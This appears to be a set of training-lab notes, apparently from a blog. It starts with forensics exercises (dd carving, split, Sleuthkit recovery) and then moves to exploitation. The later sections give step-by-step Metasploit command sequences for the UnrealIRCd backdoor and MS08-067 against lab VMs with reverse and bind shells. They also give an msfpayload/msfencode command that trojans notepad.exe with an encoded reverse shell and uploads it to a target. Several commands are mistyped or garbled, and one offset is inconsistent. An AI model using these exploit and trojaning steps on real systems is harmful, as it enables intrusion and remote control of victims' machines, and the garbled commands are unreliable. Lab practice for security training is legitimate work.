Carving with DD

Next example, we will use dd to carve a JPEG image from a chunk of RAW data. By itself, this is not a real useful exercise. There are lots of tools out there that will “carve” files from forensic images, including a simple cut and paste from a hex editor. However, the purpose of this exercise is to help
you become more familiar with dd. In addition, you will get a chance to use a number of other tools in preparation for the “carving”. This will help amiliarize you further with the Linux toolbox.

Have a brief look at the file image_carve.raw with your wonderful command line hexdump tool, xxd:

# xxd image_carve.raw | less

it’s really just a file full of random characters. Somewhere inside there is a standard JPEG image. Let’s go through the steps we need to take to “recover” the picture file using dd and other Linux tools. We are going to stick with command line tools available in most default installations.

First we need a plan. How would we go about recovering the file? What are the things we need to know to get the image (picture) out, and only the image? Imagine dd as a pair of scissors. We need to know where to put the scissors to start cutting, and we need to know where to stop cutting. Finding

the start of the JPEG and the end of the JPEG can tell us this. Once we know where we will start and stop, we can calculate the size of the JPEG. We can then tell dd where to start cutting, and how much to cut. The output file will be our JPEG image. Easy, right? So here’s our plan, and the tools we’ll use:

1) Find the start of the JPEG (xxd and grep)

2) Find the end of the JPEG (xxd and grep)

3) Calculate the size of the JPEG (in bytes using bc)

4) Cut from the start to the end and output to a file (using dd)

This exercise starts with the assumption that we are familiar with standard file headers. Since we will be searching for a standard JPEG image within the data chunk, we will start with the stipulation that the JPEG header begins with hex ffd8 with a six-byte offset to the string “JFIF”. The end of the

standard JPEG is marked by hex ffd9.

Let’s go ahead with step 1: Using xxd, we pipe the output of our image_carve.raw file to grep and look for the start of the JPEG9:

# xxd image_carve.raw | grep ffd8

As the output shows, using grep we’ve found the pattern “ffd8” near thestring “JFIF”. The start of a standard JPEG file header has been found. The offset (in hex) for the beginning of this line of xxd output is 00052a0. Now we can calculate the byte offset in decimal. For this we will use the bc command. Bc is a command line “calculator”, useful for conversions and calculations. It can be used either interactively or take piped input. In this case we will echo the hex offset to bc, first telling it that the value is in base 16. bc will return the decimal value. Let's type a command

# echo "ibase=16;00052A0" | bc

21152

It’s important that you use uppercase letters in the hex value. Note that this is NOT the start of the JPEG, just the start of the line in xxd’s output. The “ffd8” string is actually located another 4 bytes farther into that line of output. So we add 4 to the start of the line. Our offset is now 21156. We have found and calculated the start of the JPEG image in our data chunk. Now it’s time to find the end of the file. Since we already know where the JPEG starts, we will start our search for the end of the file from that point. Again using xxd and grep we search for the string. Type a command

# xxd -s 21556 image_carve.raw | grep ffd9

The –s 21156 specifies where to start searching (since we know this is the front of the JPEG, there’s no reason to search before it and we eliminate false hits from that region). The output shows the first “ffd9” at hex offset 0006c74. Let’s convert that to decimal:

# echo "ibase=16;0006C74" | bc

27764

Because that is the offset for the start of the line, we need to add 2 to the value to include the ffd9 (giving us 27766). Now that we know the start and the end of the file, we can calculate the size:

# echo "27766 - 21156" | bc

6610

We now know the file is 6610 bytes in size, and it starts at byte offset 21156. The carving is the easy part! We will use dd with three options:

skip: how far into the data chuck we begin “cutting”.

bs: (block size) the number of bytes we include as a “block”.

count: the number of blocks we will be “cutting”.

The input file for the dd command is image_carve.raw. Obviously, the value of skip will be the offset to the start of the JPEG. The easiest way to handle the block size is to specify it as bs=1 (meaning one byte) and then setting count to the size of the file. The name of the output file is arbitrary.

Let's type a command

# dd if=image_carve.raw of=result.jpg skip=21156 bs=1 count=6610

You should now have a file in your current directory called result.jpg. Now, Look "result.jpg" on our Directory

#ls

Successfully ..

Good Luck for your try Harder !!!

Split with DD

One function we might find useful would be the ability to split images up into usable chunks, either for archiving or for use in another program. We will first discuss using split on its own, then in conjunction with dd for “on the fly” splitting.
For example, you might have a 10GB image that you want to split into 640MB parts so they can be written to CD-R media. Or, if you use forensic software in Windows and need files no larger than 2GB (for a FAT32 partition), you might want to split the image into 2GB pieces. For this we use the split
command.
split normally works on lines of input (i.e. from a text file). But if we use the –b option, we force split to treat the file as binary input and lines are ignored. We can specify the size of the files we want along with the prefix we want for the output files. In newer versions of split we can also use the -d option to give us numerical numbering (*.01, *.02, *.03, etc.)
In this case, we have a able2.dd with size 329 MiB.

So, we must split it. Type a command

root@bt:/media/Document/DOJO/Day11# split -d -b 100m able2.dd able2.split
ls

From the picture above, we can see the result of the split is able2.split00, able2.split01, able2.split02, able2.split03, with each result 100 MB and except able2.split003 = 29 MB.

Now, we try to match the Hashing result of file Split with Hashing result original file. Use MD5SUM for it.

Let's type a command 

root@bt:/media/Document/DOJO/Day11# cat able2.split0* | md5sum

for a Split file, and type a command

root@bt:/media/Document/DOJO/Day11# md5sum able2.dd

for a original file

from the above results, the Hashing result is Match.

that means we managed to split the file without changing the original file

Sleuthkit, File Recovery

In this case, I will try to analyze the file able2.dd
The first step we have to do is check, how many partitions in the file able2.dd.
Do it with the command
root @ bt :/ # mmls media/Document/DOJO/Day11 able2.dd

in the image above, we already know the value of the offset of each partition. In this case, I would use a partition 2 (offset:10260). Next do the following

root@bt:/media/Document/DOJO/Day11# blkls -o 10260 able2.dd > able2.blkls

root@bt:/media/Document/DOJO/Day11# ls -lh

In the above command, we use blkls on the second partition (-o 10260) in the picture able2.dd, and redirect the output to a file able2.blkls.

Next we look at the word "Cybernetik" able2.blkls file with the following command

root @ bt :/ # grep-abi media/Document/DOJO/Day11 Cybernetik able2.blkls

The grep command can be used to find out the string "Cybernetik" is offset whatever. From the information above, Cybernetik string in four different offsets in a space that is not extracted. In this case, we will focus on the first offset.

The next stage is to find a block of data that runs on the original file (able2.dd).

Perform the following command

root @ bt :/ # fsstat media/Document/DOJO/Day11-o 10 260 able2.dd

In the image above, we get information on partition 2 block size is 1024.

Next we calculate the offset Cybernetik divided by the size of the original file block (able2.dd) to know how many strings Cybernetik are on the block in the file able2.blkls . Following command

root @ bt :/ media/Document/DOJO/Day11 # echo "1631299/1024" | bc

In the picture above, it looks String Cybernetics in Block 1593

Then do blkcalc command on the file system at offset

10260 (o- 10260) in able2.dd, passing blocks of data we calculated

of able2.blkls (U-1593). The result is a familiar block 5184

Type the following command:

root @ bt :/ # blkcalc media/Document/DOJO/Day11-o-u 10 260 1593 able2.dd

Data in block # 3 of blkls file will map to block # 49 in the native file system

Next do the command

root @ bt :/ # blkstat media/Document/DOJO/Day11 able2.dd-o 10 260 5184

We look at the blkstat (data block statistics) output for block 5184 inthe original image, we see that it is, in fact unallocated, which makes sense, since we found it within our extracted unallocated space (we're back to the same results as in Exercise #2). Note that we are now running the commands on the original dd image. We'll continue on for the sake of completeness.

To Know Raw Content of data Block.Type the command

root@bt:/media/Document/DOJO/Day11# blkcat -o 10260 able2.dd 5184 | xxd | less

Then, We try to extrack a file with a name ekstrak5184.blkcat. Type the command

root@bt:/media/Document/DOJO/Day11# blkcat -o 10260 able2.dd 5184 > ekstrak5184.blkcat

root@bt:/media/Document/DOJO/Day11# ls -lh

Note the size of the output files generated blkcat (5184.blkcat) is

1.0k (1024 bytes - file system block size), as expected.

Now, we try to recover the original file by identifying the data block. Type the ifind command.

root @ bt :/ # ifind media/Document/DOJO/Day11-o-d 10 260 5184 able2.dd

Then use the iStat to see the meta data for 10090 inode

in the image above, the meta data for inode 10090, indicates that the file inode is not allocated, and direct the first block is 5184. Just as we expected.

We then use icat to recover the files. In this case, we have only the first pipe line out to see our string of interest, "Cybernetik"

root @ bt :/ # icat media/Document/DOJO/Day11 able2.dd-o 10 260 10 090 | head-n 10

Exploit: Metasploitable Linux

This time we will try to exploit Metasploitable linux.
What the Metasploit Linux???

Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques.

OK, first step lets try to search Information about Metasploitable Linux using nmap.
Type a command #nmap -T4 -v -A 192.168.56.102

For each port, we see the port number, service type and even an attempt at the service software version.

From here, we can grab the software version, in this case “Unreal IRC 3.2.8.1″, and do a search for vulnerabilities for that software release. Just searching “unreal3.2.8.1 exploits” in Google should do the trick. With a little searching, you can find an Unreal exploit usable through Backtrack 5′s Metasploit program that will give you a root shell. See if you can find it and give it a shot. If you strike out, no worries, we will take a closer look at this in a later tutorial.

If nothing comes up, you may not have the exact software version. Nmap tries its best, but it is not always correct. Backtrack 5′s Metasploit console has several service scanners that we can use to get exact version levels. We will take a closer look at these in the next tutorial. Then we will dive into exploiting the open services.

Next, let's type a command #search Unreal ircd

See what's available payload #show payloads

We are using a cmd/unix/reverse payload.

Type a command #set payload cmd/unix/reverse

Then, type a command #show options to display the variables in the cmd/unix/reverse payload

Rrom the information above, we have to fill RHOST (IP victim) , LHOST (IP Attacker) and Target.

#set RHOST 192.168.56.102

#set LHOST 192.169.56.1

#set TARGET 0

Now, let's try type a command

#exploit

Successfully..

Good Luck for your Harder !!!

Transfering Crafted File

For the first time, we must make the process Information Gathering to find out what ports are open on the target/
Do this by typing the command # nmap-sV 192.158.56.101

From the information above, we know that the target using the Windows XP operating system with port 445
Before open #msfconsole
after we know Information Gathering, then we do Service Enumeration.

This time we will use the smb module, because smb module is one module vulnerabilty on windows

type the command #search smb

Type the command #use exploit/windows/smb/ms08_067_netapi to iturn on the module.

Next step set the payload. Before we must show payload with the command #show payload

Now we will use a meterpreter bind tpc payload. Type a command 

#set payload windows/meterpreter/bind_tcp

After that, we must set RHOS <IP Target>

#set RHOST 192.168.56.101

and then, type a command #show options to see

OK, so far we success to set the RHOST.

Next step, set the target. Type the command #set Target 0

After that, type #exploit

like Show

So far, we success exploit Windows Xp with the Meterpreter Payload.

Now we try to learn how to make file contain payload inside of it using msfpayload, before we discuss it, better we know the different about bind and reverse payload.

This time we'll injection in a notepad file. That when the target is open notepad, our payload will be run.

For the first step, download notepad.exe on meterpreter

ype a command root@bt:/opt/metasploit/msf3# msfencode -l to encode

Downloading Success, next we must injection notepad.exe. Type a command

#msfpayload <setpayload> <set RHOST/LHOST> <RPORT/LPORT> R |

msfencode -t exe -x <file_to_crafted> -o <set_path> -e <set_encode> -c 65

#msfpayload windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=1234 R | msfencode -t exe -x /home/notepad.exe -o /home/notepadHasil.exe -e x86/shikata_ga_nai -k -c 5

Make sure we are in the directory that we will put the  file crafted. Type the command #pwd

Now, let's upload a crafted file to target.

#upload /home/notepadHasil.exe C:\ 

Run a Notepad on computer target, and let's try NC

And, Successfully ...

Good Luck for your try Harder !!!